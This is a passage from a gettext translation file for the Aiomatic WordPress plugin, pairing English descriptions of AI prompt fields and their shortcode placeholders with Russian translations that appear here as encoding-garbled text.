"%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Разделах ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие " "шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%," " %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции \"Создатель " "ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:850 res/aiomatic-single-list.php:6355 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¸ Ñоздании заголовка поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-review-list.php:3448 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¸ Ñоздании заголовка поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-amazon-list.php:3378 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Промпт иÑпользуемый в Заголовке ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%search_keywords%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные " "по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие " "шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в " "наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью " "генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:856 res/aiomatic-single-list.php:5064 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт иÑпользуемый в Заголовке ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%search_keywords%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные " "по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие " "шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в " "наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью " "генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. " #: res/aiomatic-rules-list.php:3535 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² заголовке ПоÑÑ‚Ñ‹. Ð’Ñ‹ можете иÑпользовать Ñледующие " "Шорткоды: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%title%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-rules-list.php:795 res/aiomatic-single-list.php:1748 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² заголовке ПоÑÑ‚Ñ‹. Ð’Ñ‹ можете иÑпользовать Ñледующие " "Шорткоды: %%тема%%, %%Ñзык%%, %%Ñтиль_напиÑаниÑ%%, %%тон_напиÑаниÑ%%, " "%%название%%, %% random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% — обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента. Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких " "Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или " "полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "Генераторов Контента." #: res/aiomatic-youtube-list.php:3272 #, php-format #| msgid "" #| "Prompt to be used for the Post Excerpt. You can use the following " #| "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° ПоÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, " "%%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "\"Создатель ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит " "вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-single-list.php:3736 res/aiomatic-youtube-list.php:798 #, php-format #| msgid "" #| "Prompt to be used for the Post Title. You can use the following " #| "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators. You will also be able to " #| "use the custom shortcodes defined in the 'Custom Shortcode Creator' " #| "feature from the rule settings - this will allow you to create partially " #| "or fully AI generated prompts which will be used for the content " #| "generators." msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° ПоÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, " "%%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "\"Создатель ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит " "вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:1084 res/aiomatic-single-list.php:5292 #, php-format msgid "" "Prompt to be used for the product comparison prompt of the article. You can " "use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² промпте ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð² в Ñтатье. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%search_keywords%%, " "%%all_product_titles%%, %%all_product_info%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%— Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные правилами других плагинов)." " Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в " "функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:1040 res/aiomatic-single-list.php:6545 #, php-format msgid "" "Prompt to be used for the Pros & Cons section of the article. You can use " "the following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделе «За и против» Ñтатьи. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-single-list.php:3903 res/aiomatic-youtube-list.php:965 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² вопроÑах и ответах (Q&A) ПоÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновить : также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "«Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом " "Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:1078 res/aiomatic-single-list.php:6583 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по Ñтатье. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:970 res/aiomatic-single-list.php:5178 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по Ñтатье. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды " "(короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете " "иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI запроÑÑ‹, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:962 res/aiomatic-single-list.php:1915 #, php-format #| msgid "" #| "Prompt to be used for the outro of the article. You can use the following " #| "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " #| "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по Ñтатье. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по " "правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные " "короткие коды, определенные в функции «Создатель пользовательÑких коротких " "кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или " "полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента." #: res/aiomatic-review-list.php:3532 #, php-format msgid "" "Prompt to be used for the review post main sections. You can use the " "following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт иÑпользуемый в оÑновных разделах обзора поÑта . Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-rules-list.php:871 res/aiomatic-single-list.php:1824 #, php-format #| msgid "" #| "Prompt to be used for the Sections of the article. These will be set also " #| "as headings in the article. You can use the following shortcodes: " #| "%%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Sections of the article. These will be set also as " "headings in the article. You can use the following shortcodes: %%title%%, " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." 